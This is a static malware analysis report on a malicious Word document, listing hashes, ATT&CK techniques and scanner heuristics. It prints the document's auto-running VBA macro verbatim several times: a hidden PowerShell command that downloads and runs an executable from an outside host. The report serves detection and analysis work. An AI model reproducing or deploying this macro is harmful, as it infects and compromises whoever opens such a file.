Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6eeeb35b941a08b8…

MALICIOUS

Office (OLE)

59.5 KB Created: 2018-03-10 14:57:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: c62b6182d58e669b3865560186508964 SHA-1: 416afd48b7715ac6c5453e5c65b6ccc9c39a8c05 SHA-256: 6eeeb35b941a08b8fc191f4047865b87741f2c6fca5cd3042bd496b5350965fc
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The Document_Open VBA macro executes a command that invokes cmd.exe to run PowerShell. The PowerShell command downloads a file named 'fairfield.exe' from the URL http://vanlizza-chau.com/server/fairfield.exe and then executes it. This indicates a clear intent to download and run a second-stage payload.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub Document_Open()
Run = Shell("cmd.exe /c powershell -WindowStyle Hidden  -Command  (New-Object System.Net.WebClient).DownloadFile('http://vanlizza-chau.com/server/fairfield.exe','fairfield.exe');Start-Process 'fairfield.exe'", vbNormalFocus)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Private Sub Document_Open()
Run = Shell("cmd.exe /c powershell -WindowStyle Hidden  -Command  (New-Object System.Net.WebClient).DownloadFile('http://vanlizza-chau.com/server/fairfield.exe','fairfield.exe');Start-Process 'fairfield.exe'", vbNormalFocus)
End Sub
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Private Sub Document_Open()
Run = Shell("cmd.exe /c powershell -WindowStyle Hidden  -Command  (New-Object System.Net.WebClient).DownloadFile('http://vanlizza-chau.com/server/fairfield.exe','fairfield.exe');Start-Process 'fairfield.exe'", vbNormalFocus)
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
Run = Shell("cmd.exe /c powershell -WindowStyle Hidden  -Command  (New-Object System.Net.WebClient).DownloadFile('http://vanlizza-chau.com/server/fairfield.exe','fairfield.exe');Start-Process 'fairfield.exe'", vbNormalFocus)
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vanlizza-chau.com/server/fairfield.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 550 bytes
SHA-256: 757051ee2b07e905ac0eb12cc9a738ff6ca7a8a105d2a4219dae41c3246a6c04
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Run = Shell("cmd.exe /c powershell -WindowStyle Hidden  -Command  (New-Object System.Net.WebClient).DownloadFile('http://vanlizza-chau.com/server/fairfield.exe','fairfield.exe');Start-Process 'fairfield.exe'", vbNormalFocus)
End Sub

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